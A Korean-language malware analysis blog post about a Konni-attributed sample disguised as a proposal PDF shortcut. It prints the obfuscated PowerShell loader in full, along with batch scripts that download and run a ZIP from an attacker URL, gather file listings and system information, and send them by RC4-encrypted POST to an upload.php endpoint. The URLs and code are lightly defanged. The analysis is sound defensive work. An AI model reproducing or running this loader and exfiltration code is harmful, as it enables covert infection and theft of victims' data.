제안서로 위장을 하고 있는 북한 코니(Konni) 에서 만든 악성코드-제안서(2025.4.11)

오늘은 언제나 제안서로 위장하는 북한 코니(Konni) 에서 만든 악성코드에 대해 알아보겠습니다. 먼저 해쉬값은 다음과 같습니다.
파일명:제안서.pdf.lnk
사이즈:5 MB
MD5:777b6a02f7a44582c40ddadb82e60ddb
SHA-1:6af737ebc782825ebeb7dba389770a843811aff4
SHA-256:401f5a93a9496262fc83ea4cf557e4e9c15e4d2befacf475beba897986752d88
입니다. 일단 해시만 보고 개인적인 생각은 무엇인가 포함되어 있다는 것을 확인할 수가 있습니다.
일다 먼저 악성코드를 먼저 보아야 할 것입니다.

악성코드 에 포함된 Powershell 코드

악성코드 내부

StringData
{
 namestring: pdf File
 relativepath: not present
 workingdir: not present
 commandlinearguments:
 /c for /f "tokens=*" %f in ('dir /s /b %systemroot%\System32\Window(s)Powershell\*(.)exe ^
 | findstr /i rshell(.)exe') do (if e(x)ist "%f" (%f "func(t)ion sister{pa(r)am($title); <#
 obv(i)ously effectively#>$mystery = $title.substring(0,$title.length-4) + ''; <#payment go#
 >return $mystery;};function tre(n)d{param($suppose);<#fully odds#> [System.IO.File]::Delete
 ($s(u)ppose);};function stir{param($league,$mirror,$wi(n)ner,$policy,$basket);<#sorr(y) lic
 ense#> $knee=New-Object System.IO.FileStream(<#organi(z)ation psychological#>$league,<#fie
 ld region#>[System.IO.FileMode]::Op(e)n,<#lots heavy#>[System.IO.FileAccess]::Read);<#grav
 e rely#> $knee.Seek(<#pitch m(o)nitor#>$mirror,[(S)ystem.IO.SeekOrigin]::Begin);<#glass st
 ruggle#> $observe=$winner*0x01;<#(c)ase full#> $model=New-Object byte[] <#those find#>$win
 ner; <#highlight receive#> $smooth=New-Objec(t) byte[] <#also pl(a)yer#>$observe; <#expert
 r(o)ugh#>$knee.Read(<#feeling an(y)where#>$smooth,0,<#abandon darkness#>$observe); $knee.C
 lose();$fear=0;while($fear -l(t) $winner){<#motor e(x)ternal#>$model[$fear]=$smooth[$fear*
 0x01] -bxor $policy;$fear++;}<#tribe n't#> set-content $basket <#art secu(r)e#> $model -En
 (c)oding <#pl(a)tform spa(c)e#> Byte;};fun(c)tion room{param($a(c)quire, $mainly);<#str(e)
 ngthen for(t)une#> exp(a)nd $acqui(r)e <#b(o)dy animal#> -F:* $mainly;};functio(n) would{$
 (b)eauty = $env:pub(l)ic<#component slide#> + '\' +<#aud(i)ence attempt#> 'do'+'cum'(+)'en
 '+'ts';<#approve admit#> return $beauty;};function similar{param($regulation); <#presence 
 gr(o)und#>$shot = Split-Pat(h) $regulation;<#extreme jury#> return $shot;};function resear
 cher{return Get-Location;};functio(n) reality{<#variation choice#>return $env:Temp;};funct
 ion suicide{$forth = researcher; $deeply = visi(o)n -e(n)trance $forth; <#tell result#>if(
 $deeply.length -eq 0) {$forth = reality; <#speaker branch#>$d(e)eply = vi(s)ion -entr(a)nc
 e $forth;} re(t)urn $deeply;};fu(n)ction chase{$house = $env:(p)ublic<#swear designer#> + 
 '\' + 'nearby.cab';<#imply guard#> return $(h)ouse;};function concentra(t)ion{$accept = $e
 nv:public<#contrast insurance#>+'\documents\start.vbs';<#loss la(w)n#> return $accept;};fu
 nc(t)ion vision{param($(e)ntrance); <#talent c(e)rtain#> $massive=''; [System.IO.Directory]::GetFiles($entr(a)nce, '*.lnk', [System(.)IO.SearchOption]::AllD(i)rectories) | <#product wide#>ForEach-Object { <#frame Palestinian#> $era = [System.IO.FileInfo]::new($_); <#rapid asleep#> if ($era.Length -eq 0x(0)0412D29) { <#specifically relati(o)n#> $massive = $era.F(u)llName;}}; return <#pale five#> $massive;};$tone = suicide;<#aide clock#>$pipe = similar -regulati(o)n $tone;<#headqu(a)rters efficiency#> $PM = sister -t(i)tle $tone;stir -league <#whose meter#> $tone -mirror <#sake opposite#> 0x00(0)01F88 -winner 0x003D7292 -policy <#injury express#> 0x71 -basket <#travel well#> $PM;<#emerge poten(t)ially#> & $PM;$advise=chase;<#hearing scholarship#>stir -league <#(c)ost top#> $tone -mirr(o)r <#town measurement#> 0x003D921A -winner <#count series#> 0x00013CCF -po(l)icy <#theory occasionally#> 0x70 -basket <#year blow#> $advise;<#recommendation clean#>tr(e)nd -suppose $tone;$east = would;<#spend match#>room -acquire $advise -mainly <#straight send#>$eas(t);<#bother kid#>trend -suppose $advise;$permit = <#detailed crazy#>concentration;<#toy variat(i)on#>& $permit;" ) )
 iconlocation: .pdf
}

 

악성코드 분석

전체 명령은 cmd.exe /c 를 통해 PowerShell 스크립트를 실행
1.rshell.exe 탐색 및 실행
%systemroot%\System32\WindowsPowershell 하위의 rshell.exe를 찾음
해당 파일을 통해 수행
rshell.exe는 리버스 셸이나 커맨드 컨트롤(C2) 통신용으로 활용되는 의심 파일일 가능성
2.특정 크기의.lnk 파일 탐색
.lnk 바로가기 파일 중, 파일 크기가 4289961 bytes (0x412D29) 인 파일을 특정
악성 페이로드를 암호화하여 저장한 운반체 역할
3. 복호화와 페이로드 실행
stir 함수는. lnk 파일($tone)의 특정 offset (0x1F88)부터 0x3D7292 바이트를 읽어서 0x71 XOR 연산으로 복호화하고 실행 가능한 파일로 저장 및 실행
매우 전형적인 XOR 기반 암호화 페이로드 복호화 기법
4. 추가 페이로드 압축 해제 및 실행
.lnk 파일에서 또 다른 offset의 데이터를 복호화->CAB 파일($advise)로 저장
expand 명령으로 CAB를 Documents 폴더에 압축 풀기
5. 마지막 페이로드 실행 및 흔적 삭제
start.vbs 파일을 실행하고 .lnk 및 CAB 파일을 삭제하여 흔적 제거

악성코드가 생성 bat 파일들

악성코드가 생성한 파일

start.vbs
33283112.bat
53452693.bat
54312804.bat
54744204.bat
57373380.bat
57579534.bat
60901024.bat
unzip.exe
이며 60901024.bat 에서는 악성코드를 레지스터리에 start.vbs를 등록을 해서 컴퓨터와 노트북을 사용자가 악성코드에 감염된 것을 모른 체하고 실행을 하면 HKCU\Software\Microsoft\Windows\CurrentVersion\Run에 등록이 돼 있기 때문에 계속 실행을 하려고 유지하는 목적입니다.

57579534.bat 에 포함된 악성코드 내용

57579534.bat 코드

@echo off
pushd %~dp0
set fn=di(30726
call 53452693(.)bat "hxxps://ausbildungsbuddy(.)de/modules/mod_mail/inc/get(.)php?ra=iew&zw=lk0100" "%~dp0%fn%.zip" "1" > nul
if not exist %~dp0%fn%(.)zip (
	goto END1
)
set dt=1(.)bat
if not "%dt(%)"=="" (
	call unzip(.)exe -o -P "a0" "%~dp0%fn%(.)zip" > nul
	del /f /q %~dp0%fn%(.)zip > nul
		if exist %~dp0(%)dt% (
		call %~dp0%(d)t% > nul
		)		
)
:END1
if exist %~dp0%fn%(.)zip (
	del /f /q %~dp0%fn%(.)zip > nul
)

코드 분석

악성코드 다운로드 URL

hxxps://ausbildungsbuddy(.)de/modules/mod_mail/inc/get(.)php?ra=iew&zw=lk0100

해당 사이트는 코니(KONNI) 코니 APT 은 2014년에 처음 활동을 시작했으며 2017년에 시스코 보안팀에 의해 발견
주로 한국 금융 회사를 대상으로 공격을 감행 경력이 있으면 해당 사이트 관련 보면 중학교, 고등학교 관련 학생들을 대상으로 교육하는 것 같은데….
파일이 실제로 접근하는 다운로드 링크 get(.)php 스크립트를 호출하며 ra 및 zw 라는 파라미터를 통해 악성 코드 로 이루어진 ZIP 파일을 다운로드
비밀번호 a0로 암호화되어 있는것을 확인을 할 수가 있습니다.

54744204.bat 내용

@echo off
pushd "%~dp0"

dir C:\Users\%username%\downloads\ /s > %~dp0d1.txt
dir C:\Users\%username%\documents\ /s > %~dp0d2.txt
dir C:\Users\%username%\desktop\ /s > %~dp0d3.txt

systeminfo > %~dp0d4.txt

timeout -t 5 /nobreak
call 33283112.bat "hxxps://ausbildungsbuddy(.)de/modules/mod_mail/src/upload(.)php" "d1.txt"  "%COMPUTERNAME%_down.txt" >nul
call 33283112.bat "hxxps://ausbildungsbuddy(.)de/modules/mod_mail/src/upload(.)php" "d2.txt"  "%COMPUTERNAME%_docu.txt" >nul
call 33283112(.)bat "hxxps://ausbildungsbuddy(.)de/modules/mod_mail/src/upload(.)php" "d3.txt"  "%COMPUTERNAME%_desk.txt" >nul
call 33283112.bat "hxxps://ausbildungsbuddy(.)de/modules/mod_mail/src/upload(.)php" "d4.txt"  "%COMPUTERNAME%_sys.txt" >nul

악성코드 분석

1. 사용자 폴더의 파일 목록 수집
/s 옵션은 하위 디렉터리까지 포함
각각 d1.txt,d2.txt,d3.txt에 저장
파일 이름, 생성일자, 용량 등 포함: 민감한 파일 여부 탐색 가능
2. 시스템 정보 수집
시스템 정보(운영체제, BIOS, 도메인, 설치일, 패치 여부 등)를 d4. txt로 저장
매우 유용한 정보: 공격자가 시스템 종류/구조 파악하기 위한 목적인 듯
3. 대기 후 업로드
딜레이 (혹은 리소스 정리 시간)
4. 수집한 정보 업로드
33283112.bat 파일이 핵심:업로드 기능 수행
업로드 주소:

hxxps://ausbildungsbuddy(.)de/modules/mod_mail/src/upload(.)php

업로드 대상:
d1.txt->다운로드 목록
d2.txt->문서 목록
d3.txt->바탕화면 목록
d4.txt->시스템 정보
업로드 시 파일명은 컴퓨터 이름을 접두어로 사용하여 식별
예: DESKTOP-12AB3_down.txt
정보 정찰 (Reconnaissance) 목적이며 어떤 파일이 있는지 확인 (특히 민감 파일 접근)
어떤 OS/환경인지 파악 후 다음 단계 공격 판단
특정 컴퓨터 이름 기반으로 페이로드 타겟팅 가능
정보를 외부로 유출

33283112.bat 내용

@echo off
pushd %~dp0
set "tgurl12=%~1"
set fN12=fn
set fD12=fd
powershell -command "function dqjQqCAcuxwo{param ($AypZvQNXlqB,$o(F)oEuXrMFE);$Ops(M)m
FLPLhtK = [System.Text.Encoding]::UTF8.GetBytes($AypZvQNXlqB);    $WTCOeBCxKCA = [Syst
em.Text.E(n)coding]::UTF8.GetBytes($oFoEuXrMFE);$exkQgtSevvHH = New-Object byte[](256);
$aFHiHiPvSyCj = New-Ob(j)ect byte[](256);for ($I(w)MAnTWddEw = 0; $Iw(M)AnTWddEw -lt 25
6; $I(w)MAnTWddEw++) {$exkQgtS(e)vvHH[$IwMAnTWddEw] = $IwMAnTWddEw;$aFHi(H)iPvSyCj[$IwM
AnTWddEw] = $WTCOeBCxK(C)A[$IwMAnTWddEw %% $WTCO(e)BCxKCA.Length];}$zTrCG(q)DmezfE = 0;
for ($IwMAnTWddEw = 0; $IwMAnTWddEw -lt 256; $IwMAn(T)WddEw++) {$zTrCGqDmezfE = ($zTrCG
q(D)mezfE + $exkQgtSe(v)vHH[$IwMAnTWddEw] + $aFH(i)HiPvSyCj[$IwMAnTWddEw]) %% 256;$zUGq
mBH(C)JGBv = $exkQgtSe(v)vHH[$IwMAnTWddEw];$exkQ(g)tSevvHH[$IwMAnTWddEw] = $exkQ(g)tSev
vHH[$zTrCGqDmezfE];$exkQ(g)tSevvHH[$zTrCGqDmezfE] = $zUGqmBHCJGBv;}$iFUDhaIU(W)PC = New
-Object byte[] $OpsMmFLPLhtK.Length;$IwMAnTWddEw = 0;$zTrCGqDmezfE = 0;for ($ZBwUQRSnvR
O = 0; $ZBwUQRSnvRO -lt $OpsMmFLPLhtK.Length; $ZBwUQRSnvRO++) {$IwMAnTW(d)dEw = ($IwMAn
TWddEw + 1) %% 256;$zTrCGqDmezfE = ($zTrCGqDmezfE + $exkQgtSevvHH[$IwMAnTWddEw]) %% 256
;$zUGqmBHCJGBv = $exkQgtSevvHH[$IwMAnTWddEw];$e(x)kQgtSevvHH[$IwMAnTWddEw] = $exkQgtSev
vHH[$zTrCGqDmezfE];$exkQgtSevvHH[$zTrCGqDmezfE] = $zUGqmBHCJGBv;$WVKnqgCFOsmZ = ($exkQg
tSevvHH[$IwMAnTW(d)dEw] + $exkQgtSevvHH[$zTrCGqDmezfE]) %% 256;$iFUDhaIUWPC[$ZBwUQRSnvR
O] = $OpsMmFLPLhtK[$ZBwUQRSnvRO] -bxor $exkQgtSevvHH[$WVKnqgC(F)OsmZ];}$yJmaZfkmCsIK = 
[System.Convert]::ToBase64String($iFUDhaIUWPC);return $yJmaZfkmCsIK;};$bWcJabpQCOOF=(Ge
t-Date).Ticks.ToString();$(J)bCLXcveMq='%tgurl12%';$lXbJSrwCOBN='%~3';$aRmxzjRXbQEn='%~
dp0%~2';$ldbmjzEjszem=gc -Path $aRmxzjRXbQEn -Raw | Out-String;Add-Type -AssemblyName '
System(.)Web';$lXbJSrwCOBN=dqjQqCAcuxwo -AypZvQNXlqB $lXbJSrwCOBN -oFoEuXrMFE $bWcJabpQ
COOF;$ldbmjzEjszem=dqjQqCAcuxwo -AypZvQNXlqB $ldbmjzEjsz(e)m -oFoEuXrMFE $bWcJabpQCOOF;
$mkgEkQZnuGV = [System.Web.HttpUtility]::ParseQueryString('');$mk(g)EkQZnuGV['%fN12%'(]
)=$lXbJSrwCOBN;$mkgEkQZnuGV['%fD12%']=$ldbmjzEjszem;$mkgEkQZnuGV['r']=$bWcJabpQCOOF;$EY
HCSDhekYzP=$mkgEkQZnuGV.ToString();$FLuapLlRE(N)=[System.Text.Encoding]::UTF8.GetBytes(
$EYHCSDhekYzP);$AUkaAFoqKP=[System.Net.WebRequest]::Create($JbCLXcveMq);$AUkaAFoqKP.Met
hod='PO'+'ST';$AUkaAFoqKP(.)ContentType='appl'+'ic'+'ation/x'+'-ww'(+)'w-for'(0+'m-ur'+
'le'+'nco'+'ded';$AUkaAF(o)(q)KP.UserAgent = 'Moz'+'illa/5'+'.0 (Wi'+'ndows N'+'T 10.0;
Wi'+'n64;x64)';$AUkaAFoqKP.ContentLength=$FLuapLlREN.Length;$KcSSLPNfvFL = $AUkaAFoqKP.
GetRequestStream();$KcSSLPNfvFL.Write($FLuapLlR(E)N,0,$FLuapLlREN.Length);$KcSSLPNfvFL.Clos
e();$OUeDTggoYiM=$AUkaAFoqKP.GetResponse();if($OUeDTggoYiM.StatusCode -eq [System.Net.Htt
pStatusCode]::OK){Rem(o)(v)e-Item -Path $aRmxzjRXbQEn;$ucBwEXJQluYC='%~dp0up'+'o'(+)'k.t'
+'xt';New-I
tem -ItemType File -Path $ucBwEXJQluYC;}" > nul

악성코드 분석

공격자가 만든 정보 탈취 및 자동 업로드 스크립트
RC4 기반 이중 암호화, Base64 인코드 그리고 위장된 HTTP POST 요청까지 데이터 유출 루틴
코드 분석
set "tgurl12=%~1"<-업로드할 URL
set fN12=fn<-파라미터 이름: 파일 이름
set fD12=fd<-파라미터 이름: 파일 데이터
%~2:업로드할 파일명 (예: d1.txt)
%~3: 외부에 보낼 이름 (예: COMPUTERNAME_down.txt)
RC4 함수
RC4 초기화/키스케줄/S-box 전환 완전 구현
반환값: Base64 인코딩된 RC4 결과
키: 현재 시각 [Get-Date].Ticks<-동적으로 변함
목적: 정적 분석 회피, 서버 인증 기능, 탐지 우회
업로드할 파일 읽기
해당 파일을 문자열로 메모리에 로드
이후 RC4 + Base64로 암호화
데이터 암호화
$enc_filename = RC4(논리상 파일이름, tick_key)
$enc_filedata = RC4(파일내용, tick_key)
HTTP POST 조작
fn=암호화된_파일이름
fd=암호화된_파일내용
r=암호화 키 (timestamp)
공격자가 만든 WebApp (upload(.)php)로 POST 전송
파라미터 이름을 fn,fd로 숨김
r=key는 디코딩을 위한 서버 측 키값
성공 시 후처리
정상적으로 업로드 되었으면 파일 삭제
이후 업로드 성공의 의미로 upok.txt 생성 (문자열 없음, 단순 존재 확인용)
일단 겉으로는 PDF 파일로 위장하고 있지만 실제로는 PDF 파일은 실행이 안 되고 vbs 및 bat 파일들을 생성해서 해당 포함된 악성코드를 통해서 개인정보 유출 목적
어디를 공격하는지 모르겠지만 코니(Konni) 경력상 금융권을 대상으로 한 것을 추측됩니다.